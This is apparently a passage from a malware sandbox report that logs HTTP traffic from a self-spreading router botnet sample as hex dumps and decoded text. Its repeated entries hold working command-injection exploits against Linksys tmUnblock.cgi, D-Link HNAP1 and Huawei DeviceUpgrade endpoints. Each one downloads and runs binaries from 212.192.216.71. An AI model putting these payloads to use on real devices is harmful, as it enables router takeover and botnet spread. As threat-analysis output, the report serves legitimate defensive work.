70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 